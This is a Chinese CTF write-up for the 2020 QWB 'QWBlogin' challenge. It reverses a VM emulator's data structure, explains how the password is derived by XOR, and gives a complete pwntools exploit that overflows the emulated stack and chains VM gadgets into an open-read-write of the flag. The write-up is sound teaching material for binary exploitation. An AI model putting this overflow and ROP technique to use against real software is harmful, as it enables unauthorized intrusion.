2020-强网杯-QWBlogin
两天只做了一道题,一道题目逆向逆了两天,还是对于程序的理解能力有欠缺。
贴一下数据结构
00000000 VM struc ; (sizeof=0xD0, mappedto_20)
00000000 rax_ dq ?
00000008 rdi_ dq ?
00000010 rsi_ dq ?
00000018 rdx_ dq ?
00000020 r4 dq ?
00000028 r5 dq ?
00000030 r6 dq ?
00000038 r7_ dq ?
00000040 r8_ dq ?
00000048 r9_ dq ?
00000050 r10_ dq ?
00000058 r11_ dq ?
00000060 r12_ dq ?
00000068 r13_ dq ?
00000070 r14_ dq ?
00000078 r15_ dq ?
00000080 stack_esp dq ?
00000088 r17 dq ?
00000090 rip_ dq ?
00000098 r19 dq ?
000000A0 offset_max dq ?
000000A8 code dq ?
000000B0 load_length dq ?
000000B8 load_area dq ?
000000C0 stack_ebp dq ?
000000C8 stack dq ?
000000D0 VM ends
然后说一下思路:
先找password,前三次每次输入输入一个字符,第四次输入0x20长度字符串,0x20长度字符串按照8个一组的长度,分四次进行比对,按照比对条件结合异或操作求出passwd,第五次输入可以控制模拟的stack区域,可控长度为0x800操作,其中ret操作可以将stack+0x108赋值给模拟rip指针,至此我们可以控制程序流;然后是第二部分,我们需要找到test.bin读取到内存中的指令中控制对应的rax rdi rsi rdx部分寄存器在code段的偏移,以及syscall指令的偏移,找到之后可以进行orw得到flag;
举例:我们控制了stack区域,所以我们需要找到pop ,rax ; ret 这种指令,进而可以持续控制执行我们制定的指令。
自己逆向一下吧
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
#ctx.binary = './emulator'
ctx = process(argv=['./emulator','./test.bin'])
#ctx = remote('47.94.20.173',32142)
#ctx.io = p
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
#ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
#ctx.remote = ('172.16.9.21', 9006)
#ctx.remote_libc = './libc.so'
#ctx.debug_remote_libc = True
'''
ctx.symbols = {
'node':0x2022a0,
}
'''
#ctx.breakpoints = []#menu
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
#def add(size):
#def delete(idx):
#def show(idx):
#def edit():
#rs()
#rs('remote')
'''
b * 0x555555565643
b * 0x5555555656d3
b * 0x55555555536d
b * 0x555555555294
b * 0x555555554cbf
b * 0x555555555294
b * 0x555555563395
b * 0x5555555656d3 # b * 0x55555556538c
'''
mmm = '''
b * 0x555555555294
b * 0x555555563395
b * 0x5555555656d3
set $node=0x555555768010
set $offset=$node+8*18
set $code=0x00005555557680f0
set $load=0x0000555555769100
set $bss = 0x555555767010
'''
# 0x10240740dc179b8a
#gdb.attach(ctx,mmm)#,'b * 0x555555565e6c'
sl("QWQ"+p64(0x10240740dc179b8a ^ 0x427234129827abcd)+p64(0x213a22705e70edfa^0x127412341241dead)+p64(0xa75ae10820d2b377^0x8634965812abc123)+p64(0x123216781236789a^0x5d75593f5d7137dd))
ru('PWNITNOW!GOGO!')
gdb.attach(ctx,mmm)
#s('a'*0x500)
'''
payload = ""
for i in range(500-8):
payload += chr(i%255)
payload = 'a'*0x100 + p64(0) *2
'''
pop_rax = 0x2f5
pop_rdi = 0x377
pop_rsi = 0x45c
pop_rdx = 0x4e1
syscall = 0x5b1
syscall2 = 0x6ed
buffer = 0x602000
payload = ""
payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0x10) + p64(syscall)
payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0) + p64(syscall2)
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0x40) + p64(pop_rax) + p64(1) + p64(syscall)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0x40) + p64(pop_rax) + p64(2) + p64(syscall)
payload = 'a'*0x108 + payload
#payload = payload.ljust(0x800,'\0')
#payload.ljust(0x)
sl(payload)
#raw_input()
sleep(5)
sl('./flag\0')
irt()
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2020-8-28 10:40
被Seclusion编辑
,原因: